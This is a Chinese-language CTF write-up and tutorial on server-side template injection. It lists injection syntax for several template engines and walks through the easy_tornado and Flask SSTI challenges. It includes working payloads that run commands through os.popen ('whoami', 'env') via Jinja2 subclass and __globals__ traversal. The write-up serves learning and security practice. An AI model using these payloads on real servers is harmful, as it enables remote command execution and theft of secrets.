前言
啊哈哈哈哈,ssti,不玩阴的,直接来吧。
什么是模板
模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的
语言表达式,以呈现动态内容。
什么是ssti(模板注入)
当前使用的一些框架已经形成了非常成熟的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句。
凡是存在使用模板的地方都有可能存在ssti。
常见模板引擎汇总及tag
php
- Smarty:
{php}payload;{/php}
、{payload}
、{if payload}{/if}
- Twig:
{{payload}}
- Blade:详见Blade模板引擎
Java
- FreeMarker:
${payload}
、<#payload>
- velocity:
#set($x=payload)${x}
Python
- Flask/Jinja2:
{{payload}}
- Tornado:
{{payload}}
、{% import os %}{{ os.popen("whoami").read() }}
- Django:
{{payload}}
、{%payload%}
攻击思路
我们进行ssti,目的一般都是为了创建对象、文件读写、远程文件包含、信息泄漏、提权等等。为了达成目的,我们必须找到适当的注入点进行攻击。
首先寻找模板本身支持的语法、内置的变量、属性、函数等等,接着是框架的全局变量、函数、属性等,再然后我们考虑语言本身的特性,最后以上都不行的情况下再考虑应用本身存在的变量。
[护网杯 2018]easy_tornado
这题的难点不在ssti上。首先进入题目三个文件,第一个告诉我们flag的文件名称,第二个提示我们render,第三个给我们一串加密逻辑:
1 | md5(cookie_secret+md5(filename)) |
我们观察url不难发现这个加密逻辑应该是filehash的逻辑,而我们只要将/fllllllllllllag对应的filehash算出来就可以了。但是这里有一个cookie_secret,结合提示render,render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页render配合Tornado使用,我们猜测这里有一个ssti。
随意更改url进入error界面,我们发现url中有msg参数,进行模板测试:
存在ssti,我们将msg改为获取cookie_secret:
最后编写脚本获取filehash:
1 | import hashlib |
最后构建url获取flag:
[Flask]SSTI
通过查询源码发现存在ssti:
1 | <html> |
GET一个name参数测试,发现确实存在ssti:
根据题目判断这提示flask ssti,那么先获取子类名:
1 | ?name={{[].__class__.__bases__[0].__subclasses__()}} |
接着查看源码获取子类,我们需要找的大概是以下三类:
一是file模块中的read功能,用来读取各种文件,敏感信息等。
二是warnings.catch_warnings(需自己导入os模块)、socket._socketobject(需自己导入os模块)、site._Printer、site.Quitter等模块的内置os,通过os模块我们可以做到system执行命令(system执行成功返回0,不会在页面显示。)、popen管道读取文件、listdir列目录等操作。
三是get_flashed_messages() 获取闪现信息
写脚本来获取子类:
1 | def find(): |
找到位置为166,接着查询全局变量:
1 | ?name={{[].__class__.__bases__[0].__subclasses__()[166].__init__.__globals__}} |
发现OSError
,说明可以自己导入os模块,本来以为是cat /flag,查了wp才发现是在环境变量中:
1 | {{[].__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__'].eval("__import__('os').popen('env').read()")}} |